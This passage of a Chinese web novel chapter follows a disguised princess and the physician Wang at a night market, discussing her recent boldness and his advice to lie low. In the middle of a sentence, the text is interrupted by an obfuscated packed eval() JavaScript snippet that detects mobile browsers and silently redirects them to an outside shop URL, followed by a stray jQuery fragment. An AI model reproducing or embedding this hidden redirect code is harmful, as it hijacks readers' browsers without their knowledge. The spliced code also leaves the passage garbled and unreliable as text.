酉时,西城街道点起了灯。
沿河的夜市里,西玉京最大的酒楼——天香阁对面,几棵榆树围成的小摊子上,坐着一老一少,老的约有五十多岁,桌边放着药箱,看来是个医者。
少的是个青衣小姑娘,虽然衣着低调,整个人的气质却很清雅,一看就是有钱人家,她身边还站着两位丫鬟打扮的姑娘。
这两个姑娘皆穿黄衣,衣裳料子都是西玉京顶顶好的,样式一看就是翠玉阁的手艺。
因这两个丫头,夜市里从小摊子路过的人总不由自主的看向那青衣小姑娘。
“晴玉、元玉。”过路之人的频频注目,李柔不太适应,她偏过头看向她们。“旁边还有空位,你们找个地方坐下。”
可……公主哪有吃杂摊的道理?晴玉偏头看向摊子上正做吃食的老板,见他用手淘洗面食,又在水盆里揉搓,面色更是不好了。
公主身娇体贵,怎么能吃这种东西?
“好哒好哒!”一旁元玉很是积极,她一把拉过晴玉就往旁边坐,也不忘朝李柔打请示。“姑娘,我想再加一碗特辣,可以吧!”
元玉闪亮着双眼看着自己,李柔又怎会反对,只交代道。“吃辣上火,你可以吃但少吃点。到时候要是辣到心肺,还要去请先生过府。先生医术高超、宅心仁厚,自会帮你,但纵使这样,也不能如此让先生劳心。”
李柔将话题转到面前王御医身上,不动声色得夸了一顿。
王御医端碗的手略顿,眼神不由自主的打量面前的……平阳公主,却发现平阳公主也正看着自己,心下一惊,旋即装作无事发生,仰头将碗中凉茶尽数喝去。
“姑娘放心,我能吃辣!”元玉没察觉到方才在她眼前的波澜,得到李柔允许后便跑去小摊老板那里。“老板,再来一份特辣!”
“好咧!”老板手里没停下,忙着做吃食。
元玉则跑去李柔隔壁桌,抱着晴玉就开始撒娇。“晴玉姐,这几天我好想你噢!”
收回视线,晴玉决定不再去看这老板怎么做吃食,回道。“姑娘不是派你去办事了?”
还是西玉京最八卦的那件事。
“说起这个,晴玉姐你知道不?陷害刘秀才的竟然是那小寡妇的兄长,石玉昆也来听了!他还被府学剔名了呢!你听我说……”
元玉小嘴叭叭的说开始拉着晴玉说起刘观兄妹以及石玉昆出面为刘观说话的事。
“公主身边有元玉姑娘,该不觉得西玉京无趣了吧?”王御医笑着问。
“比之以前,好了很多。”李柔模棱两可回答,她不想在王御医面前暴露太多,今日请他吃饭,纯粹是拉拢关系及感谢他的出手相救。
“西玉京最近因为双鹤楼的事,热闹了很多。”王御医不咸不淡的开口,他伸手又给自己倒来一碗茶。“还有元玉姑娘说的刘家兄妹的事,老夫也略有耳闻。”
双鹤楼,刘家兄妹。
李柔倒觉得今日王御医似乎有别的目的,遂顺着他的话,问。“先生如何说?”
“姑娘大义。”王御医饮了一口茶,细细品味后道。“勇毅伯府欺压良家女着实该判,刘家兄长因才华被嫉妒陷害,也该有清白身。”
所以呢?李柔继续听他说。
王御医却偏移视线,抬头看天,并问。“姑娘觉得今天的夜空,如何?”
李柔抬头,她瞧见如泼墨的低垂夜幕下,繁星闪耀,如实道。“很漂亮。”
“姑娘你看。”王御医指着天空上最北面的星。“那里是什么星星?”
李柔定睛瞧去,只见天空最北之处,有七颗星组成的星斗,这个星星她认识。
“枢为天,璇为地,玑为人,权为时,玉衡为音,开阳为律,摇光为星。”李柔道。“先生所指,乃北斗七星。”
“是北斗七星。”王御医笑着点头,他接着道。“日夜交替,世间百年亦在眨眼之间。天体转动众星运转,然辰极犹居其所。天璇、天玑轮转不休,而衡星如轴犹执其中。”
他停顿,细视着李柔,又道。“夫出处,当不违其时,默语亦不能失其人。”
“如此,既明且哲,以保其身。”
这下,李柔是明白王御医的意思了。他意思是自己风头太盛,要明哲保身吗?
“先生莫觉我俗。”李柔笑笑,她亦饮了一口茶,道。“有些事躲得了初一,却躲不了十五。事非我愿,我愿非事。”
李柔从容淡定的态度,让王御医很是吃惊。“公主与以往,似乎变了很多。”
以前的平阳公主,从容也从容,但不会在言语里对他所作赞誉之词,更不会请他吃饭。
“走了鬼门关一遭,有些事情也就想通了。”李柔如今装起李婵,那叫一个运筹帷幄,她并不惧怕别人说这种话。甚至反问王御医。“先生觉得,我变了什么?”
“姑娘的心坚毅了很多。”许是友谈的氛围所致,王御医大胆看了李柔一圈,最后停到她的眼睛上。“眼底也多了些沉淀。”
像是经历很多似的。
“先生觉得是好是坏?”
“姑娘觉得又是好是坏?”
“我觉得好。”李柔坦然自若,她接着道。“说实话,刚到西玉京时,我很不习惯。不习惯这里的风土人情,不习惯这里的饮食习俗,更不习惯自己从京城来到这西玉京。”
李婵看的闲书不止话本传奇,她的书房里有很多西玉京风俗典籍,里面也做了很多批注。
“雪酥酪好甜、太甜,下次别让晴玉买了。”
“腊米是什么?尝尝。”又补。“好涩的口感,不好吃。”
“红油酿皮,太辣、太辣……元玉一定是自己喜欢吃才给我买的!哼哼!”
从这些批注上不难看出,李婵刚来西玉京那会儿,想快速适应到这里的生活之中。可,一个在京城娇养的公主,怎么会那么容易适应这冷寒的西玉京?
“我做了一些事,想要冲淡这种落差感。”李柔状若回忆,道。“但事实是,这些事非但不能冲淡我的落差,还差点让我送命。”
“所以我清醒了。”
“既然有些事躲不得,那就坦然面之吧。”李柔很是坦荡。“毕竟,往事不可谏,来者犹
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14045246|148682||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
可追。先生觉得呢?”
话都让李柔说完了,王御医又怎能说些什么?他看向李柔,道。“姑娘不怕?”这勇毅伯府并不好惹,石崇也不是吃素的。
“怕能解决一切问题吗?”李柔道。
还有句话,她没说。
她以前,一般解决的都是制造问题的人。但考虑到李婵此时处境,还是别在王御医面前说大话了。太过张狂,也不好。
“姑娘如此通透。”王御医感叹。若三年前,她能如此通透也不至于被贬西玉京了。
“先生不觉得我奇怪?”李柔反问。
其实从双鹤楼开始,李柔就觉得有些不对劲。她对勇毅伯府的反常,晴玉、方家、甚至勇毅伯府都看在眼底,为什么好像他们也并不觉得奇怪的样子?
就是方世昌待她,似乎也只是多了尊敬。
这些论到王御医反问了。“姑娘为何觉得自己奇怪?”她可是女帝的女儿啊,会点阴谋手段不是很正常?扮猪吃老虎不也是常态?
这下,李柔彻底读懂了。
原来李婵的公主身份,这么好用。
如此想来,那她接下来的计划,也该能顺畅无阻了吧?
“我只是觉得。”李柔含糊下来。“该是如此。”
正在这时,忙活半天的店家终于端碗过来。“客官久等了,俺娘今天起的晚,做的酿皮就少了点。俺现做这才耽误了时间,不是特意怠慢客官的。”
说着,他将两碗拌好的酿皮,分别摆到李柔和王御医面前。这酿皮白中略黄,上面的浇头红彤彤的,让李柔很有食欲。
“我们不赶时间,能吃到就是好的。”
王御医摆摆手。店家见了,立马退下,又去给晴玉、元玉端碗过去。
王御医被馋的不得了,还不忘朝李柔道。“姑娘请。”
“先生在这里就不必再遵循什么礼法了。”意思是该吃吃,别客气。
王御医也不客气了,他拿起筷子,将刚刚的事忘得一干二净,开始大快朵颐起来。李柔因记着李婵并不喜欢吃这酿皮,晴玉、元玉又在身侧,所以便吃的少些。
但,这酿皮做的辣爽可口,实在好吃!
李柔想着,等下次自己单独来吃。
约莫到戌时一刻,四人才都吃完酿皮,王御医期间甚至还从对面天香楼点了酒,小酌几杯方才罢休。离开夜市往回走时,李柔考虑到王御医喝了酒,便要送他先回铁花巷。
铁花巷离夜市只有一街之隔。
王御医本欲不想劳烦李柔,但不知道怎么就头脑发热,在李柔提出要送他回家时,笑得开怀。“好好好,今日有姑娘相送,老夫、老夫这几日就……就很好了!”
原本他还想找公主要些药材的,但公主如此这般,他就算了吧!
李柔笑了笑,让元玉格外注意王御医后,便跟着他来到了铁花巷。
晴玉、元玉经常来铁花巷请王御医,所以不消王御医指路,就把李柔带到了巷尾的一栋宅子。
此时,月明星稀。
宅前的三棵榕树已茁壮成材,苍翠挺拔。